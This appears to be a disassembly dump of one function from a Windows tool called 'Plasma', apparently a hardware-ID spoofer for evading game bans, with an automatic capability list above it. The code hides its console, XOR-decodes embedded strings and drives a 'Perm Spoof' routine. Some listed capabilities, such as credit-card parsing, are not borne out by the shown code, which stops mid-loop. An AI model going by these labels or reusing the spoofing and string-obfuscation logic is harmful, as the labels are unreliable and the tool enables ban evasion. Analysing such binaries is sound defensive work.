Function at 0x14005c090
Capabilities:
Authenticate hmac
Create process on windows
Encode data using xor
Execute command
Parse credit card information
Terminate process

Disassembly:
push rbp
push rbx
push rdi
push r14
lea rbp, [rsp - 0xb98]
sub rsp, 0xc98
mov rax, qword [0x140123240]
xor rax, rsp
mov qword [rbp + 0xae0], rax
xor r14d, r14d
mov dword [rbp + 0x50], r14d
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
test rax, rax
je 0x14005c0d3
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rax, [0x14005ba40]
mov dword [rbp + 0x330], 0x50
xor ecx, ecx
mov qword [rbp + 0x338], rax
mov dword [rbp + 0x334], 0x40
mov qword [rbp + 0x340], r14
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
xorps xmm0, xmm0
mov qword [rbp + 0x378], r14
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x350], xmm0
lea rbx, [0x1400bc84c]
movdqu xmmword [rbp + 0x360], xmm1
lea rcx, [rbp + 0x330]
mov qword [rbp + 0x348], rax
mov qword [rbp + 0x370], rbx
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov rax, qword [rbp + 0x348]
mov r9d, 0x80000000
mov rdx, qword [rbp + 0x370]
mov r8, rbx
mov qword [rsp + 0x58], r14
xor ecx, ecx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x40], r14
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov qword [rbp + 0x228], rax
mov rdi, rax
call sub.d3d9.dll_Direct3DCreate9
mov qword [0x140123970], rax
mov rcx, rax
test rax, rax
je 0x14006a16c
lea rdx, [0x140123928]
mov qword [0x140123930], r14
mov qword [rsp + 0x30], rdx
mov r9, rdi
lea rdx, [0x140123930]
mov qword [0x14012393c], r14
mov qword [rsp + 0x28], rdx
xor edx, edx
mov dword [0x140123944], r14d
mov qword [0x14012394c], r14
mov dword [0x140123954], r14d
mov qword [0x140123964], r14
lea r8d, [rdx + 1]
mov dword [0x140123958], 1
mov dword [0x140123948], 1
mov dword [0x140123938], r14d
mov dword [0x14012395c], 1
mov dword [0x140123960], 0x50
mov dword [0x14012396c], 1
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
call qword [rax + 0x80]
test eax, eax
js 0x14006a16c
mov qword [rsp + 0xcc0], rsi
mov rcx, rdi
mov qword [rsp + 0xcc8], r12
mov qword [rsp + 0xcd0], r13
mov qword [rsp + 0xc90], r15
movaps xmmword [rsp + 0xc80], xmm6
movaps xmmword [rsp + 0xc70], xmm7
movaps xmmword [rsp + 0xc60], xmm8
movaps xmmword [rsp + 0xc50], xmm9
movaps xmmword [rsp + 0xc40], xmm10
movaps xmmword [rsp + 0xc30], xmm11
movaps xmmword [rsp + 0xc20], xmm12
movaps xmmword [rsp + 0xc10], xmm13
movaps xmmword [rsp + 0xc00], xmm14
movaps xmmword [rsp + 0xbf0], xmm15
call qword [sym.imp.USER32.dll_UpdateWindow]
xor ecx, ecx
call fcn.14001d2c0
call fcn.1400280a0
xor ecx, ecx
mov qword [rbp + 0x220], rax
mov rbx, rax
or dword [rax], 0x400
mov qword [rax + 0x18], r14
call fcn.140042c50
call fcn.140028650
test dword [rbx], 0x400
je 0x14005c467
call fcn.140028650
movaps xmm0, xmmword [0x140103e30]
movaps xmm1, xmm0
movaps xmm1, xmmword [0x140103e70]
movups xmmword [rax + 0x234], xmm1
mov dword [rax + 4], 0x40800000
movups xmmword [rax + 0x224], xmm1
mov dword [rax + 8], 0x40800000
movups xmmword [rax + 0x164], xmm0
mov dword [rax + 0x10], r14d
movups xmmword [rax + 0x184], xmm0
mov dword [rax + 0x38], 0x41000000
movups xmmword [rax + 0x174], xmm0
mov dword [rax + 0x3c], 0x40c00000
movups xmmword [rax + 0xe4], xmm0
mov dword [rax + 0x40], 0x41000000
movaps xmm0, xmmword [0x140103e60]
movups xmmword [rax + 0x214], xmm0
mov dword [rax + 0x44], 0x3f800000
movaps xmm0, xmm1
movaps xmm1, xmmword [0x1400bca30]
movups xmmword [rax + 0x1e4], xmm1
movaps xmm1, xmmword [0x140103e90]
movups xmmword [rax + 0x154], xmm1
movaps xmm1, xmmword [0x140103e50]
movups xmmword [rax + 0x134], xmm0
movaps xmm0, xmmword [0x140103e80]
movups xmmword [rax + 0x244], xmm1
movaps xmm1, xmmword [0x140103e20]
movups xmmword [rax + 0x144], xmm0
movaps xmm0, xmmword [0x140103ee0]
movups xmmword [rax + 0x254], xmm1
movaps xmm1, xmmword [0x140103ee0]
movups xmmword [rax + 0x264], xmm0
movaps xmm0, xmmword [0x140103ec0]
movups xmmword [rax + 0x2c4], xmm1
movaps xmm1, xmmword [0x140103eb0]
movups xmmword [rax + 0x2a4], xmm0
movups xmmword [rax + 0x2b4], xmm0
movaps xmm0, xmm1
movups xmmword [rax + 0x1f4], xmm1
movups xmmword [rax + 0x204], xmm1
movaps xmm1, xmmword [0x140103ea0]
movaps xmm0, xmm1
movaps xmm0, xmmword [0x140103ed0]
movups xmmword [rax + 0x2f4], xmm1
movups xmmword [rax + 0x2d4], xmm1
movaps xmm1, xmmword [0x140103e30]
movups xmmword [rax + 0x114], xmm1
movups xmmword [rax + 0x274], xmm0
movaps xmm1, xmm0
movups xmmword [rax + 0x294], xmm0
movups xmmword [rax + 0x284], xmm0
mov rcx, rdi
call fcn.14004c860
mov rcx, qword [0x140123928]
call fcn.14004b340
lea rcx, [rbp + 0x9c0]
call fcn.140039ce0
lea rcx, [rbp + 0xa50]
call fcn.140039ce0
movss xmm3, dword [0x1400bc914]
lea rax, [rbp + 0xa50]
mov byte [rbp + 0xa5c], r14b
lea rdx, [0x1400c09f0]
mov byte [rbp + 0xa08], 1
mov r8d, 0x225bc
mov byte [rbp + 0x9e0], 1
mov dword [rbp + 0x9d8], 3
mov dword [rbp + 0x9dc], 3
mov rcx, qword [rbx + 0xa0]
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], rax
call fcn.14003ae00
movss xmm3, dword [0x140103dc4]
lea rax, [0x14010173c]
mov rcx, qword [rbx + 0xa0]
lea rdx, [0x1400e2fb0]
mov qword [rsp + 0x28], rax
mov r8d, 0x1e695
lea rax, [rbp + 0x9c0]
mov qword [rsp + 0x20], rax
call fcn.14003ab40
mov rcx, qword [rbx + 0xa0]
xor edx, edx
call fcn.14003a840
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x9a0]
call qword [sym.imp.USER32.dll_GetWindowRect]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.Window
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x140123a00]
call fcn.140003ba0
mov edi, dword [0x140124a40]
lea r15, [0x140123cf0]
mov rsi, qword gs:[0x58]
xorps xmm0, xmm0
movss xmm15, dword [0x140103ddc]
xorps xmm10, xmm10
movss xmm11, dword [0x140103dcc]
movss xmm9, dword [0x1400bc8c4]
movss xmm12, dword [0x140103dc8]
movss xmm13, dword [0x1400bc8dc]
movss xmm14, dword [0x1400bc8f4]
movss xmm7, dword [0x1400bc90c]
movups xmmword [rbp + 0x640], xmm0
mov ebx, 0x13b0
movups xmmword [rbp + 0x650], xmm0
movups xmmword [rbp + 0x660], xmm0
nop dword [rax]
cmp byte [0x14012389c], 0
jne 0x14006a072
xor r9d, r9d
mov dword [rsp + 0x20], 1
xor r8d, r8d
lea rcx, [rbp + 0x640]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005c63d
lea rcx, [rbp + 0x640]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x640]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x14006a022
call fcn.14004b510
call fcn.14004cc20
call fcn.14002e270
xor edx, edx
mov dword [rbp + 0x7c], 0x44390000
lea rcx, [rbp + 0x7c]
mov dword [rbp + 0x80], 0x43d60000
call fcn.140033fa0
mov r8d, 0x16a
lea rdx, [0x1401231ca]
lea rcx, reloc.WLDAP32.dll_Ordinal_32
call fcn.140017b40
mov r9d, 9
mov dword [rbp + 0x84], 0x44390000
xor r8d, r8d
mov dword [rbp + 0x88], 0x43c20000
lea rdx, [rbp + 0x84]
lea rcx, str.main
call fcn.14001a710
call fcn.140028a10
mov rdi, qword [rsi + rdi*8]
mov r12, rax
mov ecx, dword [rbx + rdi]
cmp dword [0x140124268], ecx
jg 0x14006a1b2
mov eax, dword [rbx + rdi]
cmp dword [0x1401247e8], eax
jg 0x14006a202
lea rsi, [0x140124270]
cmp byte [0x1401247ec], 0
jne 0x14005c80e
mov rdi, r14
lea r14, [0x140123cf0]
nop dword [rax]
lea rcx, [rbp + 0x268]
call fcn.140028a60
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
lea rcx, [rbp + 0x270]
movd xmm8, eax
cvtdq2ps xmm8, xmm8
mulss xmm8, dword [rbx + 4]
divss xmm8, xmm15
call fcn.140028a40
lea rcx, [rbp + 0x278]
addss xmm8, dword [rax + 4]
call fcn.140028a60
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
movss xmm6, dword [rbx]
lea rcx, [rbp + 0x260]
movd xmm7, eax
cvtdq2ps xmm7, xmm7
call fcn.140028a40
mulss xmm7, xmm6
divss xmm7, xmm15
addss xmm7, dword [rax]
movss dword [r14 + rdi + 4], xmm8
movss dword [rdi + r14], xmm7
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0xb21642c9
imul r8d
add edx, r8d
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x17
sub r8d, ecx
sub r8d, 0x1e
movd xmm6, r8d
cvtdq2ps xmm6, xmm6
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
movss dword [rsi + rdi + 4], xmm6
mov eax, 0x38e38e39
imul r8d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*8]
add ecx, ecx
sub r8d, ecx
sub r8d, 0x1e
movd xmm0, r8d
cvtdq2ps xmm0, xmm0
movss dword [rdi + rsi], xmm0
add rdi, 8
cmp rdi, 0x578
jl 0x14005c700
movss xmm7, dword [0x1400bc90c]
xor r14d, r14d
mov byte [0x1401247ec], 1
call fcn.1400280a0
mov r15d, r14d
lea rsi, [0x140123cf4]
lea r13, [0x140123cf0]
movsd xmm0, qword [rax + 0x118]
movsd qword [rbp + 0x3f8], xmm0
nop dword [rax]
nop dword [rax + rax]
lea ecx, [r15 + 1]
cmp ecx, 0xaf
jge 0x14005c901
movsxd rax, ecx
lea rbx, [rsi + 4]
mov r14d, 0xaf
lea rdi, [rax*8]
add rdi, r13
sub r14d, ecx
nop dword [rax + rax]
movss xmm1, dword [rbx + 4]
movss xmm0, dword [rbx]
subss xmm1, dword [rsi]
subss xmm0, dword [rsi - 4]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
divss xmm0, xmm11
movaps xmm1, xmm9
subss xmm1, xmm0
comiss xmm1, xmm10
jbe 0x14005c8ef
lea rcx, [rbp + 0x12c]
movss dword [rbp + 0x138], xmm1
mov dword [rbp + 0x12c], 0x3f800000
mov dword [rbp + 0x130], 0x3f800000
mov dword [rbp + 0x134], 0x3f800000
call fcn.140027bb0
mov ecx, r15d
mov r9d, eax
mov r8, rdi
movss dword [rsp + 0x20], xmm9
lea rdx, [rcx*8]
mov rcx, r12
add rdx, r13
call fcn.14003b170
add rdi, 8
add rbx, 8
sub r14, 1
jne 0x14005c870
movss xmm1, dword [rbp + 0x3fc]
movss xmm0, dword [rbp + 0x3f8]
subss xmm1, dword [rsi]
subss xmm0, dword [rsi - 4]
call sub.api_ms_win_crt_math_l1_1_0.dll__hypotf
divss xmm0, xmm12
movaps xmm1, xmm9
subss xmm1, xmm0
comiss xmm1, xmm10
jbe 0x14005c98b
lea rcx, [rbp + 0x11c]
movss dword [rbp + 0x128], xmm1
mov dword [rbp + 0x11c], 0x3f800000
mov dword [rbp + 0x120], 0x3f800000
mov dword [rbp + 0x124], 0x3f800000
call fcn.140027bb0
mov ecx, r15d
lea rdx, [rbp + 0x3f8]
mov r9d, eax
movss dword [rsp + 0x20], xmm9
lea r8, [rcx*8]
mov rcx, r12
add r8, r13
call fcn.14003b170
inc r15d
add rsi, 8
cmp r15d, 0xaf
jl 0x14005c840
call fcn.1400280a0
lea rbx, [0x140123cf0]
xor r15d, r15d
mov rsi, rbx
lea r13, [0x140124270]
mov edi, r15d
mov r14d, 0xaf
movss xmm6, dword [rax + 0x10]
nop word [rax + rax]
movaps xmm0, xmm6
lea rcx, [rbp + 0x288]
mulss xmm0, dword [rdi + r13]
addss xmm0, dword [rdi + rbx]
movss dword [rdi + rbx], xmm0
movaps xmm0, xmm6
mulss xmm0, dword [rdi + r13 + 4]
addss xmm0, dword [rdi + rbx + 4]
movss dword [rdi + rbx + 4], xmm0
call fcn.140028a40
movss xmm0, dword [rax]
comiss xmm0, dword [rdi + rbx]
jbe 0x14005ca40
lea rcx, [rbp + 0x290]
call fcn.140028a60
lea rcx, [rbp + 0x298]
mov rbx, rax
call fcn.140028a40
movss xmm0, dword [rbx]
lea rbx, [0x140123cf0]
addss xmm0, dword [rax]
movss dword [rdi + rbx], xmm0
jmp 0x14005ca85
lea rcx, [rbp + 0x2a0]
call fcn.140028a60
lea rcx, [rbp + 0x2a8]
mov rbx, rax
call fcn.140028a40
movss xmm1, dword [rax]
addss xmm1, dword [rbx]
lea rbx, [0x140123cf0]
movss xmm0, dword [rdi + rbx]
comiss xmm0, xmm1
jbe 0x14005ca85
lea rcx, [rbp + 0x2b0]
call fcn.140028a40
mov ecx, dword [rax]
mov dword [rdi + rbx], ecx
lea rcx, [rbp + 0x2b8]
call fcn.140028a40
movss xmm0, dword [rax + 4]
comiss xmm0, dword [rdi + rbx + 4]
jbe 0x14005cad1
lea rcx, [rbp + 0x2c0]
call fcn.140028a60
lea rcx, [rbp + 0x2c8]
mov rbx, rax
call fcn.140028a40
movss xmm0, dword [rbx + 4]
lea rbx, [0x140123cf0]
addss xmm0, dword [rax + 4]
movss dword [rdi + rbx + 4], xmm0
jmp 0x14005cb1b
lea rcx, [rbp + 0x280]
call fcn.140028a60
lea rcx, [rbp + 0x2d0]
mov rbx, rax
call fcn.140028a40
movss xmm1, dword [rbx + 4]
lea rbx, [0x140123cf0]
movss xmm0, dword [rdi + rbx + 4]
addss xmm1, dword [rax + 4]
comiss xmm0, xmm1
jbe 0x14005cb1b
lea rcx, [rbp + 0x2d8]
call fcn.140028a40
mov ecx, dword [rax + 4]
mov dword [rdi + rbx + 4], ecx
movaps xmm0, xmmword [0x140103ef0]
lea rcx, [rbp + 0x300]
movups xmmword [rbp + 0x300], xmm0
call fcn.14001d1e0
mov r9d, eax
mov dword [rsp + 0x20], r15d
movaps xmm2, xmm13
mov rdx, rsi
mov rcx, r12
call fcn.140039e00
add rsi, 8
add rdi, 8
sub r14, 1
jne 0x14005c9d0
mov eax, dword [reloc.WS2_32.dll_accept]
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp eax, 1
jne 0x14005ce67
movaps xmm0, xmmword [0x140103f00]
lea rdx, [rbp + 0x300]
lea ecx, [rax + 2]
movups xmmword [rbp + 0x300], xmm0
call fcn.140030020
movaps xmm0, xmmword [0x140103f10]
lea rdx, [rbp + 0x300]
lea ecx, [r14 + 5]
movups xmmword [rbp + 0x300], xmm0
call fcn.140030020
movaps xmm1, xmm14
lea ecx, [r14 + 6]
call fcn.140030110
lea rcx, [rbp + 0x8c]
mov dword [rbp + 0x8c], 0x43540000
mov dword [rbp + 0x90], 0x42540000
call fcn.140033d30
lea r9d, [r14 + 8]
mov dword [rbp + 0x94], 0x43960000
mov r8b, 1
mov dword [rbp + 0x98], 0x43820000
lea rdx, [rbp + 0x94]
lea rcx, str.MainPanel
call fcn.14001a710
lea rcx, [rbp + 0x9c]
mov dword [rbp + 0x9c], 0x430a0000
mov dword [rbp + 0xa0], 0x41a00000
call fcn.140033d30
lea rcx, [0x140103b2c]
call fcn.140058490
lea rcx, [rbp + 0xa4]
mov dword [rbp + 0xa4], 0x42c80000
mov dword [rbp + 0xa8], 0x42200000
call fcn.140033d30
lea rcx, str.Plasma_Login
call fcn.1400583e0
movss xmm0, dword [0x140103dd8]
call fcn.14002ff00
lea rcx, [rbp + 0xac]
mov dword [rbp + 0xac], 0x41b00000
mov dword [rbp + 0xb0], 0x429e0000
call fcn.140033d30
lea rcx, str.License
call fcn.140058490
lea rcx, [rbp + 0xb4]
mov dword [rbp + 0xb4], 0x41a00000
mov dword [rbp + 0xb8], 0x42c80000
call fcn.140033d30
lea rbx, [0x1401238a0]
mov qword [rsp + 0x28], r14
mov rdx, rbx
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8d, [r14 + 0x32]
lea rcx, [0x140103b48]
call fcn.1400514c0
call fcn.14002f940
lea rcx, [rbp + 0xbc]
mov dword [rbp + 0xbc], 0x41b00000
mov dword [rbp + 0xc0], 0x432a0000
call fcn.140033d30
lea rdx, [rbp + 0xc4]
mov dword [rbp + 0xc4], 0x43820000
lea rcx, str.Discord
mov dword [rbp + 0xc8], 0x41f00000
call fcn.1400504d0
test al, al
je 0x14005cd58
mov dword [rsp + 0x28], 1
lea r8, str.https:__discord.gg_plasmafn
xor r9d, r9d
mov qword [rsp + 0x20], r14
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0xcc]
mov dword [rbp + 0xcc], 0x41b00000
mov dword [rbp + 0xd0], 0x43520000
call fcn.140033d30
movaps xmm1, xmm14
mov ecx, listen
call fcn.140030110
lea rdx, [rbp + 0xd4]
mov dword [rbp + 0xd4], 0x43820000
lea rcx, str.Login
mov dword [rbp + 0xd8], 0x41f00000
call fcn.1400504d0
test al, al
je 0x14005ce1c
xorps xmm0, xmm0
mov qword [rbp + 0x3b8], r14
movups xmmword [rbp + 0x3a8], xmm0
mov qword [rbp + 0x3c0], r14
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], r14b
jne 0x14005cdd0
mov rdx, rbx
lea rcx, [rbp + 0x3a8]
call fcn.14005a2e0
lea rdx, [rbp + 0x3a8]
lea rcx, [0x140123a00]
nop
nop
nop
nop
nop
cmp byte [0x140123c40], r14b
je 0x14006a031
mov dword [reloc.WS2_32.dll_bind], 2
mov dword [reloc.WS2_32.dll_accept], 2
mov ecx, 1
call fcn.14002f9d0
call fcn.1400258b0
mov ecx, 2
call fcn.14002f980
mov ecx, 1
call fcn.14002f9d0
lea rcx, [rbp + 0xdc]
mov dword [rbp + 0xdc], 0x40a00000
mov dword [rbp + 0xe0], 0x43b90000
call fcn.140033d30
mov eax, dword [reloc.WS2_32.dll_accept]
jmp 0x14005ce6a
xor r14d, r14d
cmp eax, 2
jne 0x140069f1c
lea rcx, [rbp + 0x458]
call fcn.140028a40
call fcn.140028670
lea rcx, [rbp + 0xe4]
mov dword [rbp + 0xe4], 0x430c0000
mov dword [rbp + 0xe8], 0x41c80000
call fcn.140033d30
lea rcx, str._____You_are_on_Latest_Plasma__v2.5_Update:_bug_fixes
call fcn.1400583e0
lea rcx, [rbp + 0xec]
mov dword [rbp + 0xec], 0x430c0000
mov dword [rbp + 0xf0], 0x42640000
call fcn.140033d30
lea rcx, str._____Plasma_v2_Update:_Intel_R__Adapters_support
call fcn.1400583e0
lea rcx, [rbp + 0xf4]
mov dword [rbp + 0xf4], 0x430c0000
mov dword [rbp + 0xf8], 0x42b40000
call fcn.140033d30
lea rcx, str._____Plasma_v1_Update:_COD_Support__Mobo_detection
call fcn.1400583e0
lea rcx, [rbp + 0xfc]
mov dword [rbp + 0xfc], 0x430c0000
mov dword [rbp + 0x100], 0x42fa0000
call fcn.140033d30
lea rcx, str._____Status:
call fcn.1400583e0
lea rcx, [rbp + 0x104]
mov dword [rbp + 0x104], 0x436b0000
mov dword [rbp + 0x108], 0x42fa0000
call fcn.140033d30
movaps xmm0, xmmword [0x140103e40]
lea rdx, str.Working
lea rcx, [rbp + 0x300]
movups xmmword [rbp + 0x300], xmm0
call fcn.140058410
movss xmm3, dword [rbp + 0x458]
lea rcx, [rbp + 0x300]
movss xmm2, dword [rbp + 0x45c]
movaps xmm0, xmm3
addss xmm0, dword [0x140103dd0]
addss xmm3, dword [0x1400bc92c]
movaps xmm1, xmm2
addss xmm2, dword [0x140103dd4]
addss xmm1, xmm7
movss dword [rbp + 0x320], xmm0
movaps xmm0, xmmword [0x1400bca30]
movups xmmword [rbp + 0x300], xmm0
movss dword [rbp + 0x324], xmm1
movss dword [rbp + 0x450], xmm3
movss dword [rbp + 0x454], xmm2
call fcn.14001d1e0
mov ebx, eax
call fcn.140028a10
movss xmm0, dword [0x1400bc8e4]
lea r8, [rbp + 0x450]
movss dword [rsp + 0x30], xmm0
lea rdx, [rbp + 0x320]
movss xmm0, dword [0x1400bc8fc]
mov rcx, rax
mov dword [rsp + 0x28], r14d
mov r9d, ebx
movss dword [rsp + 0x20], xmm0
call fcn.14003c320
lea rcx, [rbp + 0x10c]
mov dword [rbp + 0x10c], 0x43020000
mov dword [rbp + 0x110], 0x43820000
call fcn.140033d30
movaps xmm1, xmm14
mov ecx, listen
call fcn.140030110
lea rdx, [rbp + 0x114]
mov dword [rbp + 0x114], 0x43660000
lea rcx, str.Perm_Spoof
mov dword [rbp + 0x118], 0x42000000
call fcn.1400504d0
test al, al
je 0x140068f33
movaps xmm0, xmmword [0x1400bca30]
lea rcx, [rbp + 0x300]
movups xmmword [rbp + 0x300], xmm0
call fcn.14001d1e0
movss xmm0, dword [rbp + 0x320]
mov ebx, eax
movss xmm1, dword [rbp + 0x324]
addss xmm0, xmm7
addss xmm1, xmm7
movss dword [rbp + 0x64], xmm0
movss dword [rbp + 0x68], xmm1
call fcn.140028a10
mov rcx, rax
mov qword [rsp + 0x20], r14
lea r9, str._____Perm_Spoofing__please_wait...
mov r8d, ebx
lea rdx, [rbp + 0x64]
call fcn.14003c5d0
xor r9d, r9d
lea r8, str.Spoofing_Please_Wait_
lea rdx, str.Click_okay_to_continue_the_spoofing_process_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor r9d, r9d
lea r8, str.HEADS_UP_
lea rdx, str.Once_We_are_finished_spoofing_your_pc_a_serial_checker_will_open_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, dword [0x140101744]
movups xmm0, xmmword [0x140101768]
movzx ebx, byte [0x14010174a]
movups xmm1, xmmword [0x140101778]
movzx edi, byte [0x140101752]
movzx r14d, byte [0x14010175a]
movzx esi, byte [0x140101762]
mov dword [rbp + 0x380], eax
movzx eax, word [reloc.WS2_32.dll_accept]
mov word [rbp + 0x384], ax
mov eax, dword [0x14010174c]
mov dword [rbp + 0x388], eax
movzx eax, word [0x140101750]
movups xmmword [rbp + 0x420], xmm0
mov word [rbp + 0x38c], ax
mov eax, dword [0x140101754]
movsd xmm0, qword [0x140101788]
movsd qword [rbp + 0x440], xmm0
movups xmm0, xmmword [0x140101798]
mov dword [rbp + 0x398], eax
movzx eax, word [0x140101758]
movups xmmword [rbp + 0x490], xmm0
mov word [rbp + 0x39c], ax
mov eax, dword [0x14010175c]
movups xmm0, xmmword [0x1401017b8]
mov dword [rbp + 0x390], eax
movzx eax, word [0x140101760]
movups xmmword [rbp + 0x4b0], xmm0
mov word [rbp + 0x394], ax
mov eax, dword [0x140101790]
movups xmm0, xmmword [0x1401017d8]
mov dword [rbp + 0x448], eax
movzx eax, byte [0x1401017f0]
movups xmmword [rbp + 0x430], xmm1
mov byte [rbp + 0x638], al
movups xmm1, xmmword [0x1401017a8]
mov eax, dword [0x140101820]
movups xmmword [rbp + 0x620], xmm0
mov byte [rbp + 0x386], bl
movsd xmm0, qword [0x1401017e8]
movups xmmword [rbp + 0x4a0], xmm1
mov byte [rbp + 0x38e], dil
movups xmm1, xmmword [0x1401017c8]
mov byte [rbp + 0x39e], r14b
movsd qword [rbp + 0x630], xmm0
movups xmm0, xmmword [0x1401017f8]
mov byte [rbp + 0x396], sil
movups xmmword [rbp + 0x610], xmm1
movups xmm1, xmmword [0x140101808]
movups xmmword [rbp + 0x3c8], xmm0
movsd xmm0, qword [0x140101818]
movsd qword [rbp + 0x3e8], xmm0
movups xmmword [rbp + 0x3d8], xmm1
mov dword [rbp + 0x3f0], eax
mov edx, reloc.WLDAP32.dll_Ordinal_200
movzx eax, byte [0x140101824]
mov ecx, 0x1f4
mov byte [rbp + 0x3f4], al
call qword [sym.imp.KERNEL32.dll_Beep]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x3b8], rax
movups xmmword [rbp + 0x3a8], xmm0
test bl, bl
je 0x14005d2e9
xor byte [rbp + 0x380], 0x31
xor byte [rbp + 0x381], 0x32
xor byte [rbp + 0x382], 0x33
xor byte [rbp + 0x383], 0x34
xor byte [rbp + 0x384], 0x35
xor byte [rbp + 0x385], 0x36
xor bl, 0x37
mov byte [rbp + 0x386], bl
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
lea rax, [rbp + 0x380]
mov qword [rsp + 0x78], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x14005d306
lea rdx, [rbp + 0x380]
lea rcx, [rsp + 0x60]
call fcn.14005a2e0
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x3a8]
lea rcx, [0x140123a00]
call fcn.140004d80
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x410], rax
movups xmmword [rbp + 0x400], xmm0
test dil, dil
je 0x14005d385
xor byte [rbp + 0x388], 0x31
xor byte [rbp + 0x389], 0x32
xor byte [rbp + 0x38a], 0x33
xor byte [rbp + 0x38b], 0x34
xor byte [rbp + 0x38c], 0x35
xor byte [rbp + 0x38d], 0x36
xor dil, 0x37
mov byte [rbp + 0x38e], dil
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
lea rax, [rbp + 0x388]
mov qword [rsp + 0x78], r15
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x14005d3a2
lea rdx, [rbp + 0x388]
lea rcx, [rsp + 0x60]
call fcn.14005a2e0
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x400]
lea rcx, [0x140123a00]
call fcn.140004d80
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x470], rax
movups xmmword [rbp + 0x460], xmm0
test sil, sil
je 0x14005d421
xor byte [rbp + 0x390], 0x31
xor byte [rbp + 0x391], 0x32
xor byte [rbp + 0x392], 0x33
xor byte [rbp + 0x393], 0x34
xor byte [rbp + 0x394], 0x35
xor byte [rbp + 0x395], 0x36
xor sil, 0x37
mov byte [rbp + 0x396], sil
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], r15
lea rax, [rbp + 0x390]
mov qword [rsp + 0x78], r15
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r15b
jne 0x14005d440
lea rdx, [rbp + 0x390]
lea rcx, [rsp + 0x60]
call fcn.14005a2e0
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x460]
lea rcx, [0x140123a00]
call fcn.140004d80
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x488], rax
movups xmmword [rbp + 0x478], xmm0
test r14b, r14b
je 0x14005d4bf
xor byte [rbp + 0x398], 0x31
xor byte [rbp + 0x399], 0x32
xor byte [rbp + 0x39a], 0x33
xor byte [rbp + 0x39b], 0x34
xor byte [rbp + 0x39c], 0x35
xor byte [rbp + 0x39d], 0x36
xor r14b, 0x37
mov byte [rbp + 0x39e], r14b
xor r14d, r14d
lea rax, [rbp + 0x398]
mov qword [rsp + 0x70], r14
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x78], r14
movups xmmword [rsp + 0x60], xmm0
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x14005d4e0
lea rdx, [rbp + 0x398]
lea rcx, [rsp + 0x60]
call fcn.14005a2e0
lea r8, [rsp + 0x60]
lea rdx, [rbp + 0x478]
lea rcx, [0x140123a00]
call fcn.140004d80
mov edx, reloc.WLDAP32.dll_Ordinal_200
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
xor edx, edx
lea rcx, [rbp + 0x508]
mov r8d, 0x100
call sub.VCRUNTIME140.dll_memset
cmp byte [rbp + 0x44b], r14b
je 0x14005d6e1
mov r8d, r14d
cmp r13d, 2
jl 0x14005d697
movdqa xmm0, xmmword [str.1111111111111111]
lea rcx, [rbp + 0x424]
movdqa xmm5, xmmword [0x1400c0550]
movdqa xmm4, xmmword [0x140103f20]
movdqa xmm6, xmmword [0x140103df0]
movdqa xmmword [rbp + 0x300], xmm0
mov edx, dword [rbp + 0x300]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
